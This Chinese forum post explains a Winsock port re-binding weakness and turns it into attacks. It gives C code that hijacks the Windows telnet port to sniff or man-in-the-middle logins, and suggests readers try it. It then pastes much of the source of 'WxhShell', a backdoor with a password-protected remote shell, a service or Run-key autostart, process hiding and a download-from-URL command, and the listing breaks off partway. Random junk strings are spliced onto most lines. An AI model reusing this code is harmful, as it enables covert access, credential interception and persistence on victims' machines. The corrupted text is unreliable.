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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: CnxK+1n l  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _<u8%\  
+P>Gy`D9  
  saddr.sin_family = AF_INET; uPa/,"p  
F?*Dr  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h$E\2lsE  
\4[c}l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); )B -MPuB  
^VSt9 &  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yw;ghP;  
UN cYu9[  
  这意味着什么?意味着可以进行如下的攻击: ^n\9AE3  
AZh@t?)  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 utYnaeQcn  
P5'iYahCq_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6Cz7A  
t/l!KdY$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FY 1},sq  
 ioE66-n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +)/Rql(lY  
08TaFzP81  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !!?+M @  
A[sM{i~Z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `_NnQ%  
>yV)d/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 T0@](g  
W?*Xy6",JF  
  #include aukk|/3Ih  
  #include w.4u=e >Z4  
  #include />dB%*  
  #include    r1[E{Tpz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   RB S[*D  
  int main() ,pQ'w7  
  { MgJ%26TZ  
  WORD wVersionRequested; 3a'Rs{qxn  
  DWORD ret; v#Cz&j  
  WSADATA wsaData; M/::`yJQu  
  BOOL val; #rn4 $  
  SOCKADDR_IN saddr; (lyt"Ty  
  SOCKADDR_IN scaddr; @<@R=aqE  
  int err; %8}WX@SB  
  SOCKET s; ua]\xBWx  
  SOCKET sc; YtwmlIar`  
  int caddsize; \Dvl%:8   
  HANDLE mt; /0 B07B  
  DWORD tid;   no~OR Q  
  wVersionRequested = MAKEWORD( 2, 2 ); `^ieT#(O  
  err = WSAStartup( wVersionRequested, &wsaData ); yj}bY?4I  
  if ( err != 0 ) { 8ktjDs$=.:  
  printf("error!WSAStartup failed!\n"); A }>|tm7|  
  return -1; )64LKb$  
  } HGP%a1RF#  
  saddr.sin_family = AF_INET; R9b/?*%=9  
   @+0@BO1 2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 fZka%[B  
{pcf;1^t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kj Lsk-  
  saddr.sin_port = htons(23); 9TYw@o5V  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &A ;3; R  
  { s)=!2AY  
  printf("error!socket failed!\n"); VfL]O8P>  
  return -1; 6=Y3(#Ddt  
  } c]AKeq]  
  val = TRUE; B$}wF<`k7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8! |.H p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2 pM  
  { kcq9p2zKv  
  printf("error!setsockopt failed!\n"); >:Rt>po8|w  
  return -1; WrE-Zti  
  } o 1 hdO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H{ n>KZ]\  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .c=$ bQ>^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _1w.B8Lyz@  
E)&NP}k-P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !#,-  
  { r+{!@`dYi  
  ret=GetLastError(); E"9/YWv  
  printf("error!bind failed!\n"); ugIm:bg&  
  return -1; 38x[Ad4%  
  } _Ep{|]:gw  
  listen(s,2); ~>}dse  
  while(1) tMD^$E"C  
  { U<ku_(2"#  
  caddsize = sizeof(scaddr); L337/8fh  
  //接受连接请求 7 SjF9x  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2 Ft0C2  
  if(sc!=INVALID_SOCKET) !L0E03')k  
  { ( )JYN5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C|.$L<`  
  if(mt==NULL) -)y> c  
  { *@bg/S K%  
  printf("Thread Creat Failed!\n"); EO o'a  
  break; K,lK\^y  
  } {a+Fx}W  
  } bGMeBj"R  
  CloseHandle(mt); >j(I[_g  
  } Q>SPV8s   
  closesocket(s); i GEQXIr3  
  WSACleanup(); E i\J9zt  
  return 0; 0,vj,ic*WX  
  }   :|3"H&FWK  
  DWORD WINAPI ClientThread(LPVOID lpParam) b.mjQ  
  { TRr4`y%  
  SOCKET ss = (SOCKET)lpParam; BRo R"#'  
  SOCKET sc; eLDL  "L  
  unsigned char buf[4096]; P\*2c*,W;  
  SOCKADDR_IN saddr; W G3mQ\k  
  long num; ]zhq.O >2{  
  DWORD val; V:,3OLL*  
  DWORD ret; %mB!|'K%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8r`VbgI&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =\ Tud-1Z  
  saddr.sin_family = AF_INET; M@!]U:5~V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YWcui+4p}  
  saddr.sin_port = htons(23); h|c:!VN@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @mQ/W Ys  
  {  2#$}yP~  
  printf("error!socket failed!\n"); y0&V$uv/  
  return -1; T;:',T[G  
  } Sg_-OX@f  
  val = 100; ~$y#(YbH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oSu|Yn  
  { y7;XOPm  
  ret = GetLastError(); Gpxb_}P  
  return -1; O9qKwn;q(  
  } By"^ Z`EP4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) EvH(Po h  
  { 7b7%(  
  ret = GetLastError(); nL7S3  
  return -1; NSiYUAu g  
  } eBSn1n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6,g5To#vw  
  { *mK);@pL  
  printf("error!socket connect failed!\n"); *s<dgFA'  
  closesocket(sc); Vne. HFXA  
  closesocket(ss); 72 s$  
  return -1; % Zl_{Q]h  
  } %b>y  
  while(1) U"%8"G0)  
  { -pU\"$nuxH  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e%@[d<Ta\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  4s1kZ`e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 P5 <85t  
  num = recv(ss,buf,4096,0); 1^WA  
  if(num>0) QX.F1T 2e?  
  send(sc,buf,num,0); t;e]L'z@:  
  else if(num==0) _,K>u6N&  
  break; H~_^w.P  
  num = recv(sc,buf,4096,0); HhQPgjZ/  
  if(num>0) x w?9W4<  
  send(ss,buf,num,0); Op$J"R  
  else if(num==0) P :7l#/x_  
  break; ('o; M:  
  } w=P <4 bdT  
  closesocket(ss); {6=H/g=:i  
  closesocket(sc); Me K\eZ\  
  return 0 ; y?R <g^A  
  } .U(SkZ`6  
m|Q&Lphb8  
M*T# 5  
========================================================== P`IMvOs&  
2)I'5 ?I  
下边附上一个代码,,WXhSHELL G.q^Zd#.T  
Fb<\(#t  
========================================================== p-(ADQS  
9^Vx*KVrU  
#include "stdafx.h" w_z^5\u0  
a,0o{* (u$  
#include <stdio.h> vS*0CR\  
#include <string.h> @R-~zOv  
#include <windows.h> u7y7  
#include <winsock2.h> nE "b`  
#include <winsvc.h> yS.fe[  
#include <urlmon.h> tpx3:|  
<,]CVo  
#pragma comment (lib, "Ws2_32.lib") |z<wPJ,;2  
#pragma comment (lib, "urlmon.lib") ]BS{,sI  
We+FP9d%  
#define MAX_USER   100 // 最大客户端连接数 ;u-< {2P  
#define BUF_SOCK   200 // sock buffer kAQ\t?`x  
#define KEY_BUFF   255 // 输入 buffer Vp-OGX[  
cwW~ *90#  
#define REBOOT     0   // 重启 -m x3^  
#define SHUTDOWN   1   // 关机 @9kk f{?  
8Jy1=R*S  
#define DEF_PORT   5000 // 监听端口 \%4+mgiD  
:#&U95EC0  
#define REG_LEN     16   // 注册表键长度 T=p}By3a  
#define SVC_LEN     80   // NT服务名长度 ~E6+2t*  
@Qsg.9N3K  
// 从dll定义API &40JN}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G'}_ZUy#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &LxzAL,3!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); / jL{JF>I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); RVKaqJ0e<  
^%OH}Z`ly  
// wxhshell配置信息 K/.hJ  
struct WSCFG { 7rDRu]  
  int ws_port;         // 监听端口 y88}f&z#5  
  char ws_passstr[REG_LEN]; // 口令 {ZIFj.2  
  int ws_autoins;       // 安装标记, 1=yes 0=no :c/=fWM%  
  char ws_regname[REG_LEN]; // 注册表键名 hjp?/i%TQ  
  char ws_svcname[REG_LEN]; // 服务名 w-Q 6 -  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 FLnAN;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 WO*WAP)n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -{amzyvLE  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +sbacMfq  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  [;LPeO  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \g[f4xAV  
AU?YZEAei  
}; Ug'nr  
{R8P $  
// default Wxhshell configuration jeuNTDjeL  
struct WSCFG wscfg={DEF_PORT, ZwrYs s  
    "xuhuanlingzhe", Nm:<rI,^  
    1, N,+g/o\f  
    "Wxhshell", #1!BD!u  
    "Wxhshell", |(w#NE5  
            "WxhShell Service", fF]&{b~wk  
    "Wrsky Windows CmdShell Service", Gt%?[  
    "Please Input Your Password: ", vFvu8*0  
  1, C%7)sLWjJS  
  "http://www.wrsky.com/wxhshell.exe", X1z0'gvh  
  "Wxhshell.exe" 4y}a,  
    }; Y&Vbf>Hi+  
mE@o27  
// 消息定义模块 /g- X=|?F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GDQg:MgX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2uR4~XjF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sL`D}_:  
char *msg_ws_ext="\n\rExit."; 6o23#JgN  
char *msg_ws_end="\n\rQuit."; LYT<o FE-  
char *msg_ws_boot="\n\rReboot..."; xcRrI|?eC  
char *msg_ws_poff="\n\rShutdown..."; 5OqsnL_V  
char *msg_ws_down="\n\rSave to "; tZBE& :l  
m3!MHe~t  
char *msg_ws_err="\n\rErr!"; TV>R(D3T/  
char *msg_ws_ok="\n\rOK!"; 8;BwzRtgT  
p~;z"Z  
char ExeFile[MAX_PATH]; (2\ekct ^  
int nUser = 0; ~map5@Kd  
HANDLE handles[MAX_USER]; aeLo;!Jh  
int OsIsNt; [&k k  
EBE>&{%$^  
SERVICE_STATUS       serviceStatus; <@ex})su  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; LzSusjEW@  
b020U>)v  
// 函数声明 $zA[5}{ZtQ  
int Install(void); q'-l; V|  
int Uninstall(void); GIl{wd  
int DownloadFile(char *sURL, SOCKET wsh); f! Nc+  
int Boot(int flag); ZrT|~$*m`  
void HideProc(void); <;Z~ vZ]  
int GetOsVer(void); -ns a3P  
int Wxhshell(SOCKET wsl); U~@B%Msb L  
void TalkWithClient(void *cs); Fm~}A4  
int CmdShell(SOCKET sock); t4W0~7   
int StartFromService(void); 2Sd6b 2-  
int StartWxhshell(LPSTR lpCmdLine); &`y_R'  
{YLJKu!M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1ucUnNkcV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TK?N^ly  
6C}Z1lZl  
// 数据结构和表定义 d#,V^  
SERVICE_TABLE_ENTRY DispatchTable[] = D(?#oCCA  
{ S5 vMP N  
{wscfg.ws_svcname, NTServiceMain}, g {wPw  
{NULL, NULL} 05zdy-Fb  
}; |}Z"|-Z  
`.Q3s?1F  
// 自我安装 0#GwhB  
int Install(void) \>k#]4@rp  
{ yAkN2  
  char svExeFile[MAX_PATH]; %Ne>'252y  
  HKEY key; XE%6c3s  
  strcpy(svExeFile,ExeFile); *njB fH'  
bv"({:x  
// 如果是win9x系统,修改注册表设为自启动 R.$Y1=U6  
if(!OsIsNt) { ^Iq.0E9_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Nxk'!:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l),13"?C(  
  RegCloseKey(key); 32'9Ch.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v333z<<S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4B>|Wft{p]  
  RegCloseKey(key); _ L6>4  
  return 0; DuZ]g#  
    } Rzj!~`&N  
  } J=bOw//  
} WuXRL}!\,  
else { !t{!.  
ozwqK oE  
// 如果是NT以上系统,安装为系统服务 r/:'}os;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @TG~fJSA12  
if (schSCManager!=0) )Em,3I/.l  
{ 0tyU%z{RV  
  SC_HANDLE schService = CreateService Li$k<AM  
  ( 'v)+S;oB  
  schSCManager, -<.NEV  
  wscfg.ws_svcname, EU~'n-  
  wscfg.ws_svcdisp, @&> +`kgU-  
  SERVICE_ALL_ACCESS, Ki\jiflc7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ( ~o+pp!  
  SERVICE_AUTO_START, 'm ((G4  
  SERVICE_ERROR_NORMAL, i<![i5uAI  
  svExeFile, f 8U;T$)  
  NULL, >u[ln@ l  
  NULL, 5< nK.i,  
  NULL, 2Vr'AEIQ  
  NULL, q@> m~R  
  NULL t')I c6.?i  
  ); Stx-(Kfn4  
  if (schService!=0) .6(i5K  
  { Onyq'  
  CloseServiceHandle(schService);  .l'QCW9  
  CloseServiceHandle(schSCManager); `/iN%ZKum  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9LRY  
  strcat(svExeFile,wscfg.ws_svcname);  =7@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k{8N@&D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pp_ddk  
  RegCloseKey(key); l)bUHh5[  
  return 0; pswppC6f  
    } 94/}@<d-=  
  } o4795r,jz  
  CloseServiceHandle(schSCManager); Yq.@7cJ  
} ,^T2hY`  
}  5 Ep  
3<lDsb(}0A  
return 1; Jl}7]cVq#  
} ~=Sr0+vV  
;T(^riAEl  
// 自我卸载 93,ExgFt  
int Uninstall(void) ,+{ 43;a  
{ 2/WXdo  
  HKEY key; ? 'nMZ  
:W55JD'  
if(!OsIsNt) { BJTljg( {o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XoOe=V?I )  
  RegDeleteValue(key,wscfg.ws_regname); A&#Bf#!G  
  RegCloseKey(key); KcE=m\h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J0o[WD$A x  
  RegDeleteValue(key,wscfg.ws_regname); !b_IH0]U  
  RegCloseKey(key); _l<"Qqt  
  return 0; PV Q%y  
  } bSzb! hT`  
} `WL*Jb  
} FeJ5^Gh.  
else { p-_j0zv  
TY}?>t+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); lRq!|.C  
if (schSCManager!=0) 7[PXZT  
{ rL/+`H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); eX/$[SL[  
  if (schService!=0) UgJHSl  
  { ~Hf,MLMdTf  
  if(DeleteService(schService)!=0) { }M@pdE  
  CloseServiceHandle(schService); L K$hV"SYb  
  CloseServiceHandle(schSCManager); J/ ~]A1fP6  
  return 0; c@P,  
  } > im4'-  
  CloseServiceHandle(schService); *BV .zbGm  
  } #;)7~69  
  CloseServiceHandle(schSCManager); S3r\)5%;  
} s Y,3  
} el<nY"c  
rkrt.B  
return 1; !.A>)+AK  
} g$qh(Z_s  
nK[$ID  
// 从指定url下载文件 }9JPSl28Jr  
int DownloadFile(char *sURL, SOCKET wsh) }HzZj;O^2>  
{ 0ni5:tYy  
  HRESULT hr; R_&>iu'[  
char seps[]= "/"; A{k@V!A%  
char *token; {u5@Yp  
char *file; ? "gy`oCv  
char myURL[MAX_PATH]; 6r`g+Js/  
char myFILE[MAX_PATH]; h=aHZ6v  
d>}%A ]  
strcpy(myURL,sURL); 4C$,X!kzF  
  token=strtok(myURL,seps); _<8y^ymo  
  while(token!=NULL) J&?kezs  
  { S;C3R5*:  
    file=token; POf \l  
  token=strtok(NULL,seps); RDbA"e5x  
  } ^/,s$dj  
Us<lWEX;k  
GetCurrentDirectory(MAX_PATH,myFILE); XN Y(@  
strcat(myFILE, "\\"); * HVO  
strcat(myFILE, file); w;:,W@K  
  send(wsh,myFILE,strlen(myFILE),0); h0`) =  
send(wsh,"...",3,0); "T'!cy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?{n#j,v!  
  if(hr==S_OK) Jg:'gF]jt  
return 0; q&.!*rPD  
else xFJ>s-g*  
return 1; />?d 2?  
>Y:ouN~<  
} 8CL05:&  
Ce:kMkJ  
// 系统电源模块 7D,+1>5^Ne  
int Boot(int flag) wsARH>Vz  
{ 1VeCAx[e  
  HANDLE hToken; otOl7XF  
  TOKEN_PRIVILEGES tkp; Ldu!uihx  
N\u-8nE5  
  if(OsIsNt) { _VJb i,V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -%A6eRShk  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &&JMw6 &[`  
    tkp.PrivilegeCount = 1; F-nt7l  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {"<Q?yA2y  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CNwhH)*  
if(flag==REBOOT) { 5segzaI  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .F]6uXd  
  return 0; zAH+{4lC+  
} k $);<= ZI  
else { `>V.}K^4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m=R4A4Y7  
  return 0; </fnbyGR  
} w-KtxG(  
  } i|<*EXB"  
  else { 4bO7rhve  
if(flag==REBOOT) { ?;$g,2n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3K'3Xp@A  
  return 0; q/[)mr|~  
} @cx!m   
else { i55']7+0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) eRf 8'-"#-  
  return 0; {BJxRH"&6*  
} ELm#  
} hZpFI?lqc\  
[]@Mk  
return 1; zIL.R#|D=  
} {3;4=R3  
ScI9.{  
// win9x进程隐藏模块 W] lFwj  
void HideProc(void) qP"m819m  
{ 1q*3V8  
XhS<GF%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OTRTa{TB  
  if ( hKernel != NULL ) 8z+ CYeV  
  { +"C0de|-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wC[J=:]tA5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -0W;b"]+A  
    FreeLibrary(hKernel); +n0y/0Au  
  } SZgH0W("L  
NZl0sX.:  
return; ^Ab|\ 5^3  
} Oz+>I ^Q  
]!f=b\-Av  
// 获取操作系统版本 _K9jj  
int GetOsVer(void) v/kYyz  
{ eVy,7goh  
  OSVERSIONINFO winfo; 9;@6iv  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ut o4bs:  
  GetVersionEx(&winfo); Kp"o0fh<9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OaEOk57%de  
  return 1; D3_,2  
  else Q=+KnE=h  
  return 0; <@?bYp  
} 4Iz~3fqB7  
E)`+1j  
// 客户端句柄模块 FuD$jsEw  
int Wxhshell(SOCKET wsl) kweypIB  
{ E;+3VJ+F"  
  SOCKET wsh; U*6r".sz  
  struct sockaddr_in client; [1s B  
  DWORD myID; Y+D#Dv |  
#vIF]Y  
  while(nUser<MAX_USER) #"TTI vd0  
{ En[cg  
  int nSize=sizeof(client); s]}P jh8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); fHM<6i<C  
  if(wsh==INVALID_SOCKET) return 1; /N~.,vf  
c(@)V.o2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); E$RH+):|  
if(handles[nUser]==0) xY@V.  
  closesocket(wsh); ,3x3&c  
else or0f%wAF  
  nUser++; @k6>&PS  
  } O)W1.]GMbf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); dC)@v]#h  
GUMO;rZs  
  return 0; ? -6oh~W<  
} ab6KK$s  
r=u>TA$  
// 关闭 socket OJ&~uV>2  
void CloseIt(SOCKET wsh) ]m YY1%H8M  
{ 'H97D-86/  
closesocket(wsh); >d_O0a*W-  
nUser--; aQcJjF5x  
ExitThread(0); oKzLt  
} @q|I$'K]x  
p*vEVo  
// 客户端请求句柄 b]@^SN9  
void TalkWithClient(void *cs) INi(G-!g  
{ /-1[}h%U'  
q&7J1  
  SOCKET wsh=(SOCKET)cs; u>d,6 !  
  char pwd[SVC_LEN]; G/=tC8eX  
  char cmd[KEY_BUFF]; ]x?`&f8i  
char chr[1]; RH~KaV3  
int i,j; 10t9Qv/  
U#-89.x  
  while (nUser < MAX_USER) { #p Ld';  
Kk-A?ju@g  
if(wscfg.ws_passstr) { 5ILce%#zL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Fnt#F}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~Sh8. ++}  
  //ZeroMemory(pwd,KEY_BUFF); Xji<oih  
      i=0; '9*(4/,UJJ  
  while(i<SVC_LEN) { tKu'Q;J  
kbiMqiPG  
  // 设置超时 r65/O5F  
  fd_set FdRead; 66!cfpM  
  struct timeval TimeOut; |h4aJv  
  FD_ZERO(&FdRead); >}Fe9Y.o  
  FD_SET(wsh,&FdRead); XJ.bK  
  TimeOut.tv_sec=8; a|{RK}|3  
  TimeOut.tv_usec=0; ^GHA,cSf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F^z&s]^~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9F@Q  
!3E33  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }GRZCX>  
  pwd=chr[0]; 7:<co  
  if(chr[0]==0xd || chr[0]==0xa) { hv2@}<r?  
  pwd=0; [ lW~v:W  
  break; $QN}2lJ>  
  } CM|?;PBuv  
  i++; [HLXWu3  
    } `2( )Vf  
73 ix4C  
  // 如果是非法用户,关闭 socket 09HlL=0q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); *`7cvt5]IM  
} 7G z f>n  
:VGvL"Kro  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \ ?sM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~QQi{92  
/ p}^ Tpu  
while(1) { kzcl   
H}Z\r2  
  ZeroMemory(cmd,KEY_BUFF); N D`?T &PK  
Y`.FSs  
      // 自动支持客户端 telnet标准   B}Qpqa=_c  
  j=0; BUvE~l.,|  
  while(j<KEY_BUFF) { 8 6y)+h`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OXAr..  
  cmd[j]=chr[0]; AU0pJB'  
  if(chr[0]==0xa || chr[0]==0xd) { _[SW89zk  
  cmd[j]=0; W"MwpV  
  break; {$5?[KD  
  } Y- esD'MD  
  j++; SoC3)iqv/  
    } `\Z7It?aDs  
7|bzopLJk  
  // 下载文件 x/7kcj!O  
  if(strstr(cmd,"http://")) { *jE> (J`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Hwiw:lPq`E  
  if(DownloadFile(cmd,wsh))  <m7m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G6@XRib3  
  else )i|0Ubn[|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jga;nrU  
  } J B[n]|  
  else { uI lm!*0  
\k&2nYVHf  
    switch(cmd[0]) { kn9ul3c  
  )jc`_{PQg  
  // 帮助 F/.nr  
  case '?': { O1xK\ogv  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W w\M3Q`h  
    break; RKru hF  
  } :k&R]bc9  
  // 安装 5\S s`#g  
  case 'i': { ^6g^ Q*"  
    if(Install()) iX (<ozH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZMa@/\pf1  
    else d%?$UnQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v%^"N_]  
    break; wX/0.aZ|  
    } z'"e|)  
  // 卸载 Es]:-TR  
  case 'r': { !:BmDX[<n  
    if(Uninstall()) ?5VPV9EX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '/O >#1  
    else ^W#161&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tew?e&eO  
    break; r8%"#<]/  
    } WtS5i7:<Y  
  // 显示 wxhshell 所在路径 ;8Qx~:c  
  case 'p': { |[./jg"  
    char svExeFile[MAX_PATH]; ; ,9:1.L  
    strcpy(svExeFile,"\n\r"); XSOSy2:  
      strcat(svExeFile,ExeFile); s]X0}"cz  
        send(wsh,svExeFile,strlen(svExeFile),0); r{g8CIwGQ  
    break; C!X"0]@FA  
    } a)lS)*Y  
  // 重启 ;+;%s D  
  case 'b': { P z< \q;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @{V bu  
    if(Boot(REBOOT)) $@utlIXA'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6>Dm cG:.  
    else { 2UbTKN  
    closesocket(wsh); M1HGXdN*B  
    ExitThread(0); #EG$HX]  
    } wa1Qt  
    break; 1Y+g^Z;G  
    } U,Q  
  // 关机 IEmjWw4  
  case 'd': { 0#y i5U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &) qs0  
